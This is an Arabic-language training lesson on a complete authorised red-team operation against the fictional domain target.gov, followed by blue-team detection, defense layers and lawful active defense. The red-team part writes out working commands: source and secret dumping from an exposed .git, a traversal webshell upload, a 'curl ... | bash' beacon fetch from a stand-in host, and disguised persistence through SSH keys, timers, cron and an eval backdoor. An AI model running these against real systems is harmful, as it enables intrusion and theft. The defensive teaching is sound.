الفرق الحمراء — الهجوممتقدم150mL52

Full Attack Scenario — من الـ Recon لحد الـ Backdoor

Red كاملة على target.gov، وبعدها Blue ترد عليها

#Kill Chain#End-to-End#Backdoor#Blue Team#Active Defense

السيناريو الكامل — اختراق target.gov من الصفر للـ backdoor

تشبيه — شرح مبسط
الدرس ده مش list of commands. ده فيلم كامل. red team عنده تصريح بيخترق بوابة حكومية وهمية اسمها target.gov، من أول packet لحد الـ backdoor الأخير. وبعدين بنرجّع الشريط من بعدسة الـ blue team: الـ SOC شاف ايه؟ ايه الـ alerts اللي ضربت؟ ايه اللي مرّ بدون ما يحس بيه حد؟ وأخيراً، الـ Active Defense — مش "hack back" — كيف نخدع الـ adversary، نلمّ TTPs، ونبني قضية attribution على القانون.
قبل ما تكمّل
السيناريو ده على target.gov (RFC 2606، نطاق وهمي محجوز للتعليم) في تدريب حكومي معتمد. لو نفّذت أي خطوة منها على asset حقيقي بدون تصريح كتابي — ده مش red teaming، ده crime. الـ Active Defense تحديداً منطقة قانونية حساسة. ما تخرجش من شبكتك من غير أمر قضائي. CFAA الأمريكي وقوانين الـ ITIDA المصري الاتنين بياكلوا فيها.

الإطار: Cyber Kill Chain من Lockheed (Recon -> Weaponize -> Deliver -> Exploit -> Install -> C2 -> Actions)، + ATT&CK mapping لكل خطوة. الـ blue team عندنا 4 نقاط محتملة يلاقطنا فيها. هدفنا نشوفها كلها قبل ما نمشي.

الجزء الأول — الفريق الأحمر

التفويض: خطاب مكتوب من الجهة، نطاق محدد (*.target.gov)، نافذة زمنية، نقطة اتصال طارئة، قائمة أنظمة محظورة (PROD-DB، SCADA). كل أمر يُسجَّل في script(1)أو في تسجيل Burp.

01
الاستطلاع السلبي — لا تلمس الهدف

قبل أي حزمة باتجاه الخادم، نجمع كل ما هو عام. المهاجم الذكي يمشي في الظل أولاً.

bash
# 1. جرد الـ subdomains من الشهادات (passive)
curl -s "https://crt.sh/?q=%25.target.gov&output=json" | jq -r '.[].name_value' | sort -u

# 2. سجلات DNS التاريخية
amass enum -passive -d target.gov -o subs.txt

# 3. ملفات مسرّبة (PDF, docx) قد تفضح أسماء مستخدمين
google-dorks: site:target.gov filetype:pdf
metagoofil -d target.gov -t pdf,docx -l 100 -o ./loot

# 4. GitHub — مفاتيح API، نسخ احتياطية
gh search code "target.gov" --json repository,path
trufflehog github --org=target-gov --only-verified

# 5. LinkedIn / Wayback — أسماء موظفين، تقنيات قديمة
linkedin2username -c "Target Gov Authority"
waybackurls target.gov | grep -E "\.(env|bak|old|swp)$"

ATT&CK: T1589 (Gather Victim Identity)، T1592 (Gather Victim Host)، T1596 (Search Open Technical DBs).

02
الاستطلاع النشط — أول حزمة تصل الهدف

الآن نُرسل طلبات. كل حزمة تُسجَّل في WAF/EDR. نعمل ببطء و من IPs متعددة.

bash
# 1. بصمة الـ stack
whatweb -a 4 https://www.target.gov
wafw00f https://www.target.gov          # كشف WAF (Cloudflare? F5? Imperva?)
curl -sI https://www.target.gov | head  # Server, X-Powered-By

# 2. مسح خفيف (rate-limited)
nmap -sS -T2 --top-ports 1000 -Pn www.target.gov
# لاحقاً، بعد إيجاد origin مكشوف:
nmap -sV -sC -p 80,443,8080,8443,3306,5432 origin.target.gov

# 3. اكتشاف المسارات
ffuf -u https://www.target.gov/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
     -mc 200,301,401,403 -t 20 -p 0.3
# /admin, /api/v1, /backup.zip, /.git/HEAD ...
نقطة كشف #1 — هنا الـ junior بيتقبض عليه
الـ WAF بيشوف pattern الـ ffuf من 7 سواقي: User-Agent default، rate ثابت، 404 burst. الـ junior بيشغّل ffuf مباشرة من VPS واحد. الـ blue team بيشوفه قبل ما القهوة تبرد. الـ professional: User-Agent رياليستي، --delay عشوائي، rotation على residential proxies (Bright Data, Smartproxy). وحتى كده، لو الـ WAF شاطر هتاكلها. السكة الأنضف: تتعلم من JS bundles وما تـ bruteforce-ش أصلاً.
03
فحص الثغرات و الفرز

لدينا الآن قائمة أصول. نُشغّل ماسحات مُتخصّصة و نُفلتر النتائج يدوياً.

bash
# Nuclei — قوالب CVE معروفة (3900+ template)
nuclei -u https://portal.target.gov -severity high,critical -rl 30

# Nikto — مشاكل على مستوى الخادم
nikto -h https://portal.target.gov -Tuning x6

# اختبار يدوي للـ params التي وجدها arjun
arjun -u https://portal.target.gov/api/v2/users
# ?id=, ?lang=, ?file=, ?redirect= ...

# فحص JS bundles لاكتشاف endpoints مخفية
linkfinder -i 'https://portal.target.gov/static/*.js' -o cli
$ $ nuclei -u https://portal.target.gov -severity critical
[CVE-2023-XXXXX] [http] [critical] https://portal.target.gov/api/upload
[apache-path-traversal] [http] [high] https://portal.target.gov/static/../
[exposed-git] [http] [high] https://portal.target.gov/.git/HEAD

ATT&CK: T1595.002 (Vulnerability Scanning). ثلاثة خيوط محتملة — نختار الأهدأ صوتاً: .git المكشوف.

04
الاستغلال — من ثغرة إلى shell

الـ .git/ المكشوف يُعطينا الكود المصدري. هناك نجد الجوهرة الحقيقية.

bash
# 1. سحب المستودع كاملاً
git-dumper https://portal.target.gov/.git/ ./loot/source

# 2. مراجعة الكود — مفاتيح، endpoints، منطق ضعيف
cd loot/source
trufflehog filesystem . --only-verified
grep -rE "API_KEY|SECRET|PASSWORD|TOKEN" --include="*.env*" --include="*.config*"

# وجدنا في .env.production:
# DB_PASS=Sup3r-Secret-2024
# ADMIN_TOKEN=eyJhbGc...
# AWS_ACCESS_KEY_ID=AKIA...

# 3. مراجعة المسار /api/upload الذي ظهر في nuclei
# الكود يستقبل filename دون تعقيم → path traversal → write webshell
curl -X POST https://portal.target.gov/api/upload \
  -H "Authorization: Bearer eyJhbGc..." \
  -F "file=@shell.php;filename=../../public/uploads/x.php"

# 4. تأكيد التنفيذ
curl "https://portal.target.gov/uploads/x.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
نقطة كشف #2 — رفع .php في uploads = إعلان حضور
رفع .php في مجلد uploads = signature معروف من 15 سنة. أي EDR أو WAF محترم بيلاقطه. السكة الشاطرة: webshell بـ .phtml لو الـ Apache config بيشغّلها، أو حقن في ملف موجود (less filesystem changes)، أو الأصح: memory-only payload زي Behinder أو AntSword بـ encrypted comms. ما يفضلش على الديسك حاجة.
05
ترسيخ الموطئ — من webshell إلى C2 مستقر

الـ webshell هشّ. نحتاج اتصالاً ثنائياً مُشفّراً مع server خارجي = C2.

bash
# 1. على الـ webshell نُنزّل beacon
curl https://portal.target.gov/uploads/x.php?cmd=$(echo -n \
  "curl -sk https://cdn-redteam.example/u | bash" | base64)

# 2. الـ payload المُحمّل (Sliver/Mythic/Cobalt Strike مُكوّنة بـ HTTPS jitter)
# /tmp/.X11-cache (يبدو ملفاً نظامياً)
chmod +x /tmp/.X11-cache && /tmp/.X11-cache &

# 3. على C2 (Sliver مثال)
> sessions
ID  Name      Transport  RemoteAddress      Hostname
1   sweetgum  https      10.20.30.5:54321   web01.target.gov

# 4. حركة جانبية — تعداد ثم استخراج credentials
> use 1
> ps              # هل هناك أنتي فيرس؟
> ls /home        # حسابات
> shell
$ sudo -l         # هل www-data له sudo بدون كلمة سر على شيء؟
$ cat /etc/passwd
$ find / -perm -4000 2>/dev/null   # SUID
$ ss -tnlp        # ما الذي يستمع داخلياً؟ — DB؟ Redis؟

ATT&CK: T1505.003 (Web Shell)، T1071.001 (App Layer Protocol — HTTPS C2)، T1059.004 (Unix Shell).

06
الباب الخلفي — البقاء عبر إعادة التشغيل

هدفنا أن نعود حتى لو أُغلق webshell. أربع طبقات بقاء، مرتبة من الأهدأ إلى الأعلى صوتاً:

1. SSH key في حساب خدمة
bash
# نضيف مفتاحنا إلى authorized_keys لمستخدم نادر الاستخدام
echo "ssh-ed25519 AAAA..." >> /home/backup/.ssh/authorized_keys
# تعديل sshd_config: AllowUsers backup
2. systemd timer مُموّه
bash
# /etc/systemd/system/apt-cache-clean.timer
# يبدو كصيانة، يُشغّل beacon كل 4 ساعات
[Timer]
OnBootSec=15min
OnUnitActiveSec=4h
3. Cron job في /etc/cron.d
bash
# يستخدم اسماً نظامياً
echo "*/30 * * * * root /usr/lib/.cache/sync" \
  > /etc/cron.d/logrotate-sync
4. Web backdoor ثاني
bash
# داخل ملف PHP موجود — سطر واحد
# يُفعَّل فقط بـ header خاص
if(isset($_SERVER['HTTP_X_FWD_VER']) &&
   $_SERVER['HTTP_X_FWD_VER']==='9a3f') eval(...);

ATT&CK: T1098.004 (SSH Auth Keys)، T1053.006 (systemd Timers)، T1505.003 (Web Shell).

07
الأهداف — لماذا نحن هنا

الباب الخلفي ليس الهدف. الهدف هو البيانات أو التأثير. حسب التفويض:

  • تعداد قاعدة البيانات → سحب hash كلمات المرور (لإثبات الوصول، لا للنشر).
  • الوصول إلى مفتاح AWS الذي وجدناه → تعداد S3 buckets، lambda functions.
  • التحرك جانبياً نحو AD (إذا كان داخل النطاق) — Kerberoasting، AS-REP roasting.
  • التوثيق: لقطات شاشة، hashes (مُقصّة)، مسارات ATT&CK، خط زمني دقيق.
حدود حمراء — مش بنتفاوض عليها
اوعى تسرّب data حقيقية برّه الـ engagement. اوعى تشغّل ransomware ولا wiper تحت أي ظرف. اوعى تلمس SCADA/PROD-DB اللي في الـ exclusion list. اوعى تسيب backdoor بعد ما الـ window يقفل — كل واحدة بتتنضّف، وبتسلّم Cleanup Verification document للعميل، وبيوقّع عليها. ده الفرق بين red teamer محترم وبين مجرم معاه permission slip.

الجزء الثاني — الفريق الأزرق: ماذا رأينا؟

تشبيه — شرح مبسط
نُعيد الشريط من جانب SOC. كل خطوة من الفريق الأحمر تترك أثراً: log entry، حزمة شاذة، طفل عملية غير معتاد، اتصال صادر إلى ASN غريب. السؤال ليس "هل تركت أثراً؟" بل "هل هناك من يُراقب الأثر الصحيح؟"
01
ما كان يجب أن يُلتقَط في الاستطلاع
text
المصدر: WAF / Reverse Proxy logs

[10:14:02] 198.51.100.7 GET /admin       → 403  UA="Mozilla/5.0 ffuf"
[10:14:02] 198.51.100.7 GET /backup.zip  → 404
[10:14:02] 198.51.100.7 GET /.git/HEAD   → 200  ← انذار!
[10:14:03] 198.51.100.7 GET /api/v1      → 401
... (1200 طلب في 90 ثانية)

قواعد الكشف:
1. Splunk/Sigma: > 100 طلب 4xx/5xx من نفس IP خلال 60s
2. User-Agent يحوي "ffuf|sqlmap|nuclei|nikto|gobuster"
3. وصول ناجح إلى /.git/* أو /.env* أو /backup*
4. تنبيه crt.sh monitoring — شهادة جديدة لنطاقنا تظهر في log
02
ما كان يجب أن يُلتقَط في الاستغلال

رفع .php في مجلد uploads = توقيع كلاسيكي.

text
المصدر: File Integrity Monitoring (Wazuh / auditd)

type=PATH msg=audit(...): name="/var/www/public/uploads/x.php"
  nametype=CREATE  uid=33 (www-data)

قاعدة Sigma:
detection:
  selection:
    Image: '*php*'
    TargetFilename|endswith: ['.php', '.phtml', '.jsp']
    TargetFilename|contains: '/uploads/'
  condition: selection

+ EDR rule: عملية www-data تُنفّذ /bin/sh أو curl خارج localhost
03
ما كان يجب أن يُلتقَط في الـ C2

الـ beacon يتصل خارجياً بشكل دوري. هذا أوضح إشارة في كل السيناريو.

text
المصدر: Zeek / Suricata + DNS logs

# beaconing detection
RITA: تكرار اتصالات إلى نفس IP بفاصل ثابت (jitter منخفض)
  → score > 0.8 = beacon محتمل

# JA3/JA4 fingerprint
TLS handshake من /tmp/.X11-cache ≠ توقيع متصفّح أو curl معتاد
  → JA3 hash = blacklisted (Sliver default)

# DNS
استعلام عن cdn-redteam.example من خادم production
  → ASN غير معروف، عُمر النطاق < 30 يوم = إنذار
اكتبها على الحيطة
السيرفر في production مش لازم يبدأ outbound connection غير لـ allowlist واضحة (apt mirrors، cloud APIs، NTP، DNS). أي connection تانية = incident لحد ما تثبت العكس. ده اللي اسمه egress filtering. ومحدش بيعمله. ومحدش بيلاقط الـ C2 بسببه. وبعدين بيستغربوا.
04
ما كان يجب أن يُلتقَط في الباب الخلفي
text
auditd: تعديل /home/*/.ssh/authorized_keys
  → إنذار حرج (لا يحدث في العمليات الطبيعية)

systemd: وحدة جديدة في /etc/systemd/system/*.timer
  → diff مع baseline الـ FIM

cron: ملف جديد في /etc/cron.d/
  → نفس الشيء

osquery query تشغّل كل 15 دقيقة:
SELECT * FROM crontab WHERE path NOT IN (<baseline>);
SELECT * FROM authorized_keys WHERE uid != <expected>;

الجزء الثالث — الحماية: كيف نُغلق هذه السلسلة

Defense in Depth — مفيش طبقة واحدة بتكفي
مفيش silver bullet. كل طبقة هنا ممكن تتكسر لوحدها. بس كسر الخمسة مع بعض = مكلف جداً للـ adversary. ده الـ economics بتاع الـ defense. مش "أمنع الكل"، ده "أخلّي الاختراق غالي بحيث ما يستحقش".
طبقة 1 — تقليل الأبواب اللي قدامه
  • مراجعة دورية لـ crt.sh — لا شهادات لنطاقات غير معتمدة.
  • حظر الوصول إلى .git/, .env, .svn/ على مستوى reverse proxy.
  • عدم نشر مستودعات تطوير على origin مكشوف.
  • أسرار في Vault/AWS Secrets Manager، لا في .env.
طبقة 2 — WAF و rate limiting
  • قواعد ModSecurity CRS أو AWS WAF managed rules.
  • rate limit على endpoints حسّاسة (login، upload، API).
  • تحدّي JS / CAPTCHA على نمط فحص آلي.
  • حظر User-Agents معروفة لأدوات pentest في production.
طبقة 3 — تصلّب التطبيق
  • تعقيم filename + قائمة بيضاء للامتدادات.
  • مجلد uploads خارج DocumentRoot — لا ينفّذ كـ PHP.
  • مبدأ أقل صلاحية: حساب التطبيق لا يكتب خارج مجلده.
  • SAST/DAST في الـ CI — لا ندخل production بثغرة معروفة.
طبقة 4 — تجزئة الشبكة
  • خوادم web لا تتصل بـ DB إلا عبر منفذ واحد محدد.
  • egress firewall — قائمة بيضاء صارمة للـ DNS و IPs.
  • VLANs منفصلة: web ↔ app ↔ DB ↔ admin.
  • Zero Trust: كل اتصال داخلي يُصادَق و يُسجَّل.
طبقة 5 — كشف و استجابة
  • EDR على كل خادم (CrowdStrike/SentinelOne/Wazuh).
  • SIEM يجمع: web logs + auditd + Zeek + DNS.
  • قواعد Sigma للـ TTPs أعلاه — مُختبرة بـ atomic-red-team.
  • SOAR playbook: عند تنبيه webshell → عزل تلقائي للحاوية.
طبقة 6 — استعداد بشري
  • Tabletop شهري — يحاكي بالضبط هذا السيناريو.
  • IR runbook مكتوب، مجرَّب، و معروف لكل العاملين.
  • Threat hunting أسبوعي — لا ننتظر التنبيه.
  • Purple team: الأزرق و الأحمر يجلسان معاً.

الجزء الرابع — الرد العكسي (Active Defense)

خط أحمر قانوني
"Hack back" يعني تخترق اللي مخترقك = مش قانوني في 95% من الـ jurisdictions، بما فيهم CFAA الأمريكي. الـ Active Defense المسموح بيقع في 3 فئات بس: (1) جوّه شبكتك — honeytokens, sinkholing, deception. (2) خداع — تطعمه بيانات وهمية مع canary tokens. (3) تعاون قانوني مع جهات إنفاذ — CERTs, FBI, Interpol. الفرق دقيق ومهم. لو ما تأكدتش، اسأل محامي مختص قبل ما تنفّذ.
1. Honeytokens & Honeypots
  • وثيقة passwords.xlsx وهمية في share — أي وصول لها = حادث مؤكد.
  • حساب AD وهمي بصلاحيات مغرية — أي محاولة Kerberoast = إنذار.
  • مفتاح AWS canary (Thinkst Canarytokens) — يُطلق إنذاراً عند أول استخدام.
  • خادم T-Pot في DMZ — يجمع TTPs و IPs لشبكة المهاجم.
2. خداع المهاجم في الشبكة
  • عند كشف beacon: لا تقطع فوراً. راقب لجمع TTPs.
  • أعد توجيه C2 traffic إلى sinkhole — يستمر المهاجم بظنه يُسيطر.
  • أطعمه بيانات وهمية مُحبكة — وثائق وهمية موسومة بـ canarytoken.
  • هذا يكشف الـ infrastructure الكاملة للمهاجم قبل الطرد النهائي.
3. الإسناد (Attribution) القانوني
  • اجمع: IPs، JA3، أسماء أدوات، أسلوب التشغيل (TTPs)، أوقات النشاط (timezone).
  • قارن مع تقارير CTI (Mandiant, CrowdStrike, Talos) — هل النمط معروف؟
  • سلسلة الحراسة (chain of custody) للأدلة — صور disk، memory dumps، PCAPs.
  • سلّم الحزمة لـ CERT الوطنية / إنفاذ القانون. لا تنشر علنياً قبل إذنهم.
4. تعاون مع مزوّدي البنية التحتية
  • إبلاغ ASN/Hosting الذي يستضيف C2 → takedown.
  • إبلاغ مُسجّل النطاق → تعليق الدومين.
  • مشاركة IoCs عبر MISP / ISAC القطاعي.
  • طلب RPZ من مزوّد DNS لحظر النطاق على نطاق وطني.
قصة حقيقية — إزاي اتكشفت SolarWinds؟
Mandiant (FireEye وقتها) ما اخترقوش الـ adversary. لاقوا beacon غريب على شبكتهم هم. لمّوه. تتبّعوه. لقوه بيخرج من DLL في SolarWinds Orion update. خلاص — السكة وضحت. نشروا IoCs عبر القنوات الرسمية. الـ industry كله تحرّك في 24 ساعة. ده الـ Active Defense الفعّال: detect -> contain -> attribute -> share. مفيش حركة hack-back. وكان أكتر اختراق effective في تاريخ الـ industry response.

خلاصة — الجدول الكامل

text
المرحلة         الفعل (أحمر)              الأثر (أزرق)              الحماية
────────────────────────────────────────────────────────────────────────
Recon           crt.sh, github dorks       —                       حذف الأسرار من Git
Scanning        ffuf, nuclei               WAF: 4xx burst          rate limit + IP rep
Discovery       /.git/HEAD = 200           access log              حظر الملفات المخفية
Initial Access  upload .php عبر traversal  FIM: ملف جديد           sanitize + sandbox
C2              HTTPS beacon               Zeek: beaconing JA3     egress allowlist
Persistence    systemd timer + SSH key    auditd: cron/ssh diff   FIM + osquery
Actions         سحب hashes                 DB egress شاذ           DLP + canary creds

Active Defense: honeytokens → اكتشاف فوري | sinkhole → جمع TTPs | CERT → takedown

الكلام اللي بيتقال: "المهاجم محتاج ينجح مرة، المدافع محتاج ينجح كل مرة". صحيح بس ناقص. الـ asymmetry المعاكسة: المهاجم محتاج يخفي كل أثر، المدافع محتاج alert واحد صح. واللي بيخسر هو اللي بيـ ignore الـ alert الواحد ده.

الخلاصة الناشفة

الفيلم ده مش flex. ده تذكرة. الـ red team بيشتغل بـ playbook معروف. الـ blue team عنده 4-5 نقط ممكن يلاقطه فيها.

واللي بيحصل فعلياً — وأنا شفته بعيني — إن أغلب الـ alerts في الـ SOC بتروح في sleep لأن الـ analyst تعبان أو الـ rule noisy. الـ adversary بيعدّي مش لأنه شاطر. بيعدّي لأن الـ defender بيتفرّج مش بيراقب.

الفرق بين اتنين: hunting culture، egress filtering، ETW + Sysmon + identity logs مع بعض، و SOAR بيشتغل automatically. الباقي تفاصيل.

مراجع و قراءة إضافية

  • Lockheed Martin — Cyber Kill Chain whitepaper.
  • MITRE ATT&CK Enterprise Matrix.
  • Active Defense Harbinger Distribution (ADHD) — Black Hills InfoSec.
  • SANS FOR508 — Advanced IR & Threat Hunting.
  • Mandiant M-Trends Report (annual).